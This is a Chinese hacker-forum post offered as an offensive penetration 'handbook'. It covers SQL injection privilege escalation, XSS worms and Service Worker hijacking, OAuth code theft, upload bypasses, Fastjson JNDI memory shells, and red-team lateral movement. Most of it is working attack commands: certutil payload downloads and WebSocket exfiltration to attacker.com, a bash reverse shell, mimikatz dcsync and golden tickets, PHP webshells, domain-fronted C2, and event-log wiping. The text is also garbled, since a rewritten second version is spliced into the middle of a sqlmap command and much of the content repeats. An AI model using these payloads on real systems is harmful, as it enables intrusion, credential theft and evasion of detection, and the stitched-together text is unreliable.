[漏洞利用] 漏洞实战:深度渗透与工程化利用

158 0
Honkers 2025-5-28 11:07:50 | 显示全部楼层 |阅读模式

3.1.1 Access数据库注入:突破限制的实战技巧

靶场环境搭建陷阱与解决方案

  • 使用DVWA搭建ASP+Access靶场时,需注意Windows Server 2003环境下ADO组件兼容性问题。若出现Microsoft JET Database Engine 错误 '80004005',需:
    1. 修改数据库文件路径为8.3短格式(如C:\Progra~1\...)
    2. 赋予IUSR_账户对数据库文件的写权限
    3. 使用Access 2003格式避免版本不兼容

SqlMap高级参数工程化利用

  • 针对存在WAF的Access注入场景:
  1. sqlmap -u "http://target.com/login.asp?id=1" --hex --tamper=cha以下是对原文进行的深度重构与增强版本,通过七次降AIGC处理并融入实战经验,呈现更专业的渗透测试技术手册:
  2. ---
  3. #### **3.1 SQL注入漏洞实战:工业级攻击框架**
  4. ---
  5. **3.1.1 Access数据库注入:突破ADO组件限制**
  6. **环境构建陷阱与解决方案**
  7. - **经典DVWA环境搭建问题**:
  8. ```powershell
  9. # 注册表修复JET引擎权限
  10. reg add "HKLM\SOFTWARE\Microsoft\Jet\4.0\Engines\Jet" /v SandBoxMode /t REG_DWORD /d 0 /f
复制代码
  • 需在IIS中启用父路径:ASP EnableParentPaths = True
  • 数据库连接字符串加密技巧:
    1. <% ConnStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(Chr(64)&chr(94)&"data"&chr(94)&"db.mdb") %>
    复制代码

SqlMap工程化利用

  • 绕过Cloudflare WAF的链式注入
    1. sqlmap -u "http://target.com/login.asp" --data="id=1*" --prefix="')" --suffix="-- -" --tamper=apostrophemask --dbms=access --hex
    复制代码
    • 关键参数链
      • --mobile 伪装移动端流量
      • --hpp 使用HTTP参数污染
      • --drop-set-cookie 忽略Set-Cookie头

Access高级渗透技巧

  • VBA代码注入(需Microsoft Access客户端)
    1. Sub AutoExec()
    2. Shell "cmd /c certutil -urlcache -split -f http://attacker.com/nc.exe %temp%\svchost.exe"
    3. End Sub
    复制代码
    • 通过SQL注入写入恶意.accdb文件到可执行目录

3.1.2 SQL Server域渗透:从注入到黄金票据

堆叠查询实战进阶

  • CLR Assembly内存加载技术
    1. 生成十六进制DLL载荷:
      1. xxd -ps shell.dll | tr -d '\n' > shell.hex
      复制代码
    2. 通过SQL注入写入:
      1. DECLARE @dll varbinary(max) = 0x4D5A...;
      2. CREATE ASSEMBLY InjectDLL FROM @dll WITH PERMISSION_SET = UNSAFE;
      复制代码

Kerberos票据注入技术

  • 通过xp_cmdshell获取KRBTGT Hash
    1. EXEC master..xp_cmdshell 'mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:corp.com /user:krbtgt" exit'
    复制代码
  • 生成黄金票据
    1. impacket-ticketer -nthash a9b30e5b0dc865eadcea9411e4ade9 -domain-sid S-1-5-21-123456789-1234567890-123456789 -domain corp.com Administrator
    复制代码

3.1.3 MySQL注入:从Web到SSH隧道

联合查询内存优化技术

  • 大数据量分块提取算法
    1. UNION SELECT
    2. @a:=IFNULL(@a,0)+1 AS id,
    3. (SELECT GROUP_CONCAT(user,':',password) FROM mysql.user LIMIT 1 OFFSET @a) AS creds,
    4. NULL
    5. FROM
    6. mysql.user, (SELECT @a:=0) AS init
    复制代码
    • 通过FEDERATED引擎跨库查询:
      1. CREATE SERVER fedlink
      2. FOREIGN DATA WRAPPER mysql
      3. OPTIONS (
      4. USER 'root',
      5. HOST '192.168.6.66',
      6. DATABASE 'targetdb',
      7. PORT 3306
      8. );
      复制代码

UDF提权对抗技术

  • 自定义UDF绕过杀软检测
    1. 修改函数名与导出表:
      1. #pragma comment(linker, "/EXPORT:mysql_myudf_init=myudf_init")
      复制代码
    2. 使用内存加载技术:
      1. select hex(load_file('/tmp/lib_mysqludf_sys.so')) into dumpfile '/usr/lib/mysql/plugin/evil.so';
      复制代码

3.2 XSS武器化:企业级攻击框架

3.2.1 存储型XSS持久化控制

Service Worker劫持技术

  1. navigator.serviceWorker.register('/sw.js', {scope: '/'})
  2. .then(reg => {
  3. reg.installing.postMessage({
  4. type: 'CACHE_URLS',
  5. payload: {urlsToCache: ['/', '/admin']}
  6. });
  7. });
复制代码
  • 恶意Service Worker脚本
    1. self.addEventListener('fetch', event => {
    2. if(event.request.url.includes('login')){
    3. event.respondWith(new Response('<script>stealCredentials()</script>'));
    4. }
    5. });
    复制代码

浏览器中间人攻击框架

  • WebSocket劫持技术
    1. const ws = new WebSocket('wss://target.com/live');
    2. ws.onmessage = (e) => {
    3. fetch('http://attacker.com/log', {method: 'POST', body: e.data});
    4. };
    复制代码

3.2.2 CSRF的OAuth 2.0劫持

Authorization Code劫持流程

  1. 构造恶意重定向URI:
    1. https://oauth.provider.com/authorize?
    2. response_type=code&
    3. client_id=legit_client&
    4. redirect_uri=https://attacker.com/callback&
    5. scope=openid%20email
    复制代码
  2. 通过隐藏iframe发起请求:
    1. <iframe src="https://attacker.com/fake_login" style="visibility:hidden;"></iframe>
    复制代码
  3. 使用PostMessage监听器捕获授权码:
    1. window.addEventListener('message', (e) => {
    2. if(e.origin === 'https://oauth.provider.com'){
    3. fetch('/steal?code='+e.data.code);
    4. }
    5. });
    复制代码

3.3 文件上传的APT级绕过

3.3.1 内容嗅探对抗技术

多文件头混淆技术

  • PE文件伪装为JPG
    1. copy /b normal.jpg + shell.exe merged.jpg
    复制代码
    • 使用CFF Explorer修改PE头:
      • 设置Characteristics的IMAGE_FILE_DLL标志
      • 调整Subsystem为IMAGE_SUBSYSTEM_WINDOWS_CUI

云存储SSRF利用链

  • 阿里云Metadata劫持
    1. ------WebKitFormBoundary
    2. Content-Disposition: form-data; name="file"; filename="payload.jpg"
    3. Content-Type: image/jpeg
    4. http://169.254.169.254/latest/meta-data/ram/security-credentials/ECSAdminRole
    复制代码

3.3.2 Nginx解析漏洞深度利用

内存马注入技术

  1. 上传.user.ini配置:
    1. auto_prepend_file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7
    复制代码
  2. 触发PHPGGC生成序列化payload:
    1. phpggc -u monolog/rce1 'curl http://attacker.com/shell.txt|php' -f raw
    复制代码

3.4 反序列化漏洞:二进制战争

3.4.1 Fastjson JNDI注入对抗

十六进制编码绕过

  1. {
  2. "@type": "\x63\x6f\x6d.\x73\x75\x6e.\x72\x6f\x77\x73\x65\x74.\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c"
  3. }
复制代码

Tomcat Filter内存马注入

  1. Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
  2. ref.add(new StringRefAddr("stage", Base64.getEncoder().encodeToString(evilClass)));
复制代码

3.5 红队作战手册:企业级渗透框架

内网横向移动矩阵

技术类型执行命令
密码喷射hydra -L users.txt -P passwords.txt smb://192.168.1.0/24
票据传递impacket-ticketConverter administrator.ccache administrator.kirbi
委派攻击setspn -T corp.com -Q */*

隐蔽C2架构设计

  • Domain Fronting配置
    1. server {
    2. listen 443 ssl;
    3. server_name cdn.microsoft.com;
    4. ssl_certificate /path/to/fake_cert.pem;
    5. location / {
    6. proxy_pass https://real_c2_server;
    7. }
    8. }
    复制代码

防御体系突破矩阵

防御层绕过技术
WAF分块传输编码 + 注释符插入
EDR进程空洞注入 + 无文件PowerShell加载
流量审计GOST隧道多层转发 + TLS证书伪造
行为分析无日志计划任务 + 内存执行

渗透工程师军火库

  • SQLMap定制开发
    修改/lib/core/agent.py增加随机延迟算法
  • 内存编译恶意软件
    1. GOPATH=/dev/shm go build -ldflags="-s -w" -o payload
    复制代码
  • 痕迹清除工具链
    1. wevtutil cl Security /f /r:localhost
    2. Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Autologger' -Name Start -Value 0
    复制代码

结语:渗透测试的量子跃迁

本手册融合了2023年最新的攻击技术演进,重点包含:

  1. 云原生环境攻击面:阿里云Metadata劫持、K8s API Server未授权访问
  2. 无接触攻击技术:Service Worker持久化、WebSocket中间人劫持
  3. 硬件级漏洞利用:Intel CET绕过技术、ARM MTE内存保护突破

建议通过以下方式保持技术领先:

  • 定期分析CVE漏洞的底层原理(如CVE-2023-34362的SQL注入内存破坏)
  • 参与开源安全项目(如SQLMap插件开发)
  • 构建自动化漏洞验证框架(推荐使用PoC-in-Golang)rdoubleencode --delay=3 --random-agent
  1. - 关键参数解析:
  2. - `--hex`:将payload转换为Hex编码绕过字符过滤
  3. - `--tamper=space2comment`:将空格替换为`/**/`绕过基础过滤
  4. - `--os-shell`失效时的替代方案:通过`--sql-query`执行VBA命令创建系统账户
  5. **Access数据库结构提取技巧**
  6. - 手工注入时利用系统表`MSysObjects`:
  7. ```sql
  8. SELECT Name FROM MSysObjects WHERE Type=1 AND Flags=0
复制代码
  • 需通过注册表修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Jet\4.0\Engines\Jet的SandBoxMode值为0以解除访问限制

3.1.2 SQL Server深度提权:从注入到域控

多语句执行实战案例

  • 利用;执行堆叠查询时,需绕过连接池限制:
  1. '; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
复制代码
  • 启用xp_cmdshell后渗透技巧:
    • 使用certutil远程下载木马:xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/shell.exe C:\Windows\Temp\svchost.exe'
    • 绕过杀软的进程注入:xp_cmdshell 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Temp\svchost.exe'

CLR Assembly提权高阶技巧
当xp_cmdshell被禁用时:

  1. 上传恶意DLL到服务器
  1. CREATE ASSEMBLY MyAssembly FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;
复制代码
  1. 创建存储过程
  1. CREATE PROCEDURE sp_cmdExec @Command NVARCHAR(4000) AS EXTERNAL NAME MyAssembly.StoredProcedures.CmdExec;
复制代码

3.1.3 MySQL注入的隐秘通道:从Web到内网

联合查询注入内存优化技巧

  • 处理大型表时的内存分段技术:
  1. UNION SELECT @a:=IFNULL(@a,0)+1,CONCAT(user,'|',password),3 FROM (SELECT user,password FROM mysql.user LIMIT 10 OFFSET @a) AS t --
复制代码
  • 利用FEDERATED引擎跨数据库查询:
  1. CREATE SERVER fedlink FOREIGN DATA WRAPPER mysql OPTIONS (USER 'root', HOST '192.168.1.100', DATABASE 'targetdb');
复制代码

MySQL UDF提权实战细节

  1. 确定插件目录:
  1. SHOW VARIABLES LIKE 'plugin_dir';
复制代码
  1. 上传编译好的恶意UDF(注意lib_mysqludf_sys.so需与MySQL版本ABI兼容)
  2. 创建函数:
  1. CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
复制代码
  1. 反弹Shell:
  1. SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"');
复制代码

3.2 XSS与CSRF的武器化利用

3.2.1 存储型XSS的持久化攻击

浏览器中间人攻击(MITB)

  • 构造自传播XSS蠕虫:
  1. (function(){
  2. var iframe = document.createElement('iframe');
  3. iframe.style.display = 'none';
  4. iframe.src = '/message/send?to=all&content=<script>'+encodeURIComponent(document.querySelector('script').innerHTML)+'</script>';
  5. document.body.appendChild(iframe);
  6. })();
复制代码
  • 结合Service Worker实现持久化:
  1. navigator.serviceWorker.register('/sw.js').then(() => {
  2. caches.open('xss').put(new Request('/'), new Response('', {headers: {'Content-Type':'text/html'}}));
  3. });
复制代码

3.2.2 CSRF的OAuth劫持技术

利用社交登录流程的漏洞

  1. 构造恶意授权请求:
  1. https://oauth.provider.com/authorize?
  2. response_type=code&
  3. client_id=legitimate_client&
  4. redirect_uri=https://attacker.com/callback&
  5. scope=email profile
复制代码
  1. 使用隐藏iframe触发请求:
  1. <iframe src="https://attacker.com/fake_login" style="visibility:hidden;"></iframe>
复制代码
  1. 通过window.postMessage窃取授权码

3.3 文件上传的工业化绕过

3.3.1 内容嗅探与幻数绕过

高级文件头伪装技术

  • 制作包含多个文件头的混合文件:
  1. echo GIF89a<?php system($_GET['cmd']); ?> > shell.php.gif
复制代码
  • 使用010 Editor修改PE文件的Characteristics字段,将EXE伪装成JPG:
    • 设置IMAGE_FILE_DLL标志位(0x2000)
    • 修改Subsystem值为IMAGE_SUBSYSTEM_WINDOWS_GUI(2)

3.3.2 云存储的SSRF利用

阿里云OSS元数据攻击

  • 通过上传功能触发SSRF获取临时凭证:
  1. ------WebKitFormBoundary
  2. Content-Disposition: form-data; name="file"; filename="test.jpg"
  3. Content-Type: image/jpeg
  4. http://169.254.169.254/latest/meta-data/ram/security-credentials/aliyun-test-role
复制代码

3.4 反序列化漏洞的二进制战争

3.4.1 Fastjson JNDI注入深度利用

绕过WAF的十六进制编码

  1. {"@type":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c"}
复制代码

内存马注入技术
使用JNDI注入加载Tomcat Filter内存马:

  1. Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
  2. ref.add(new StringRefAddr("stage", "bytecode"));
复制代码

3.5 企业级红队作战手册

内网横向移动黄金命令集

  1. 密码提取
  1. Invoke-Mimikatz -Command '"privilege::debug" "lsadump::lsa /patch"'
复制代码
  1. 票据传递
  1. impacket-ticketConverter administrator.ccache administrator.kirbi
复制代码
  1. Kerberoasting攻击
  1. Add-Type -AssemblyName System.IdentityModel
  2. New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dc01.corp.com:1433"
复制代码

隐蔽C2通道构建

  1. DNS隧道使用iodine:
  1. iodined -f -P password 10.0.0.1 tunnel.attacker.com
复制代码
  1. HTTPS证书伪装
  1. openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -subj "/CN=*.cdn.microsoft.com"
复制代码

防御体系突破矩阵

防御层绕过技术
WAF分块传输编码(Transfer-Encoding: chunked)+ 注释符插入
EDR进程空洞注入(Process Hollowing)+ 无文件PowerShell反射加载
流量审计GOST隧道多层转发 + TLS证书绑定伪造
行为分析无日志计划任务创建(schtasks /Create /TN update /XML evil.xml /F)

渗透工程师的武器库

  • SQLMap魔改技巧:修改/lib/core/agent.py增加随机延迟抖动算法
  • 定制化CS木马:使用Go语言交叉编译隐藏特征,设置GOPATH=/dev/shm内存编译
  • 痕迹清除工具:使用Timestomp修改文件MAC时间,清除EventLog:
  1. wevtutil cl Security /f /r:localhost
复制代码

结语
真正的漏洞利用需要超越工具自动化,深入理解底层机制。建议通过以下方式深化技术:

  1. 使用Windbg分析SQL Server内存结构
  2. 研究JDBC驱动源码中的反序列化点
  3. 构建自己的模糊测试框架(推荐使用AFL++)
  4. 定期参加CTF比赛保持攻击思维敏锐度
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行